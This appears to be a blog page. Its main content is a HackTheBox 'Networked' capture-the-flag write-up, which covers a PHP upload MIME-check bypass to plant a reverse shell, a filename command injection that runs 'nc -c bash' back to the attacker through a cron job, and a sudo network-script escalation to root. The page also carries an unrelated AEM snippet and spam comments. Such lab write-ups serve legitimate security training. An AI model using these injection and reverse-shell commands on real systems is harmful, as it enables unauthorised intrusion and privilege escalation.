Skip to main content

Featured

Adobe Experience Manager - Create an OSGI Configuration

 In this article, let's create an OSGi configuration, configure it and use it in AEM code. So now let's get started with the creation of an OSGi configuration. Technical details and Assumptions: All the following details are tested in AEM version 6.5.8, Java version 11.0.2 Creation of OSGi configuration: To create an OSGi configuration we need to create an ObjectClassDefinition. I have included a sample OCD configuration, which can be used as a reference to create one. The next step would be to create an interface and an implementation that can help fetch the OSGi configurations.  Interface: Implementation: Let's try to use the OSGi configuration created so far in Models/Servlets. For demonstration purposes, I used AEM Models here, but the same can be implemented in Servlets too. Now that we have created the OSGi configuration. Once building the code, we should be able to see the OSGi configuration in the web console (http://localhost:4502/system/console/configMgr) Configur

HackTheBox [HTB] - Networked

Concepts:

  1. Trick the MIME Type Checking PHP Scripts 
  2.  Basic Command Injection 
  3.  Use a Privileged Script to exploit a issue with the parameters set to the files in network-scripts
     I have included few resource links in the references section, for beginners to started with.


Recon :

                  The initial recon starts with nmap, which probably gives the places to start with.,
    

    
   Using Gobuster, gave few directories out of which the backup folder seemed interesting. It had the source of the PHP scripts running on the system. 

   Examining the lib.php, the PHP functions including finfo_open(FILEINFO_MIME) , and     @mime_content_type. These functions use the magic bits to detect the file types.

   It can be tricked, by adding some magic headers "GIF89a;" to the reverse shell. 

   Gobuster also revealed pages such as "uploads.php" & "photos.php". Go to the uploads.php page and upload any JPG or GIF pic (make sure to add php in the file name ie. file.php.jpg), capture the traffic in burp suite before it leaves from attacker's machine.

  Leave the first 2 lines in the request and replace the other lines with PHP reverse shellcode in the request body. The reverse shell file should be uploaded which should have bypassed extension & filetype (magic headers) validations.




 Go to <attackers-ip>/photos.php and check the uploaded file. Turn on the NetCat listener and execute the uploaded reverse shell by hitting the URL <attackers-ip>/uploads/<uploaded_File_name>.php.jpg




Reverse Shell & User Flag:


we have found a user 'guly', cronjob invoked by the user is running. We can exploit it to escalate to guly user privilege using the following commands.


touch /var/www/html/uploads/\;nc \-c\ bash <attackers-ip>\ <attacker-port>

The above command will create a file in the name "; nc -c bash <attackers-ip> <attacker-port>"


The cronjob when run takes the file name as an argument and executes it. Start a Netcat listener and wait for the reverse connection.



*WE CAN READ THE USER FLAG FROM THE GULY'S HOME DIRECTORY



Root Flag:


After enumerating the victim machine for some time, we found a shell script running as a SUDO.

/usr/local/sbin/changename.sh

The script asks for some inputs and uses Network Scripts which has privilege escalation vulnerability (For more details check References section)

To exploit the vulnerability. Run the script, in the "interface NAME" enter 

"anystring <space> /bin/bash", enter random value for the remaining parameters and press enter to get root access.



*WE CAN READ THE ROOT FLAG FROM THE ROOT DIRECTORY

References :


Comments

  1. If you don’t have time to read the entire topic and just want to find out what the Best stock For long-term investment. Here is for you...
    Manappuram Finance private placement
    RIL group
    Zoom app
    Sundar Pichai compensation

    ReplyDelete
  2. Nice blog, keep sharing such updates, Computer virus removal experts from Boca Raton offer Laptops & PC Repairs, Apple/Mac Repairs, Onsite IT Support,Data Recovery, Virus Removal Boca Raton.
    computer repair Jupiter

    ReplyDelete

Post a Comment

Popular Posts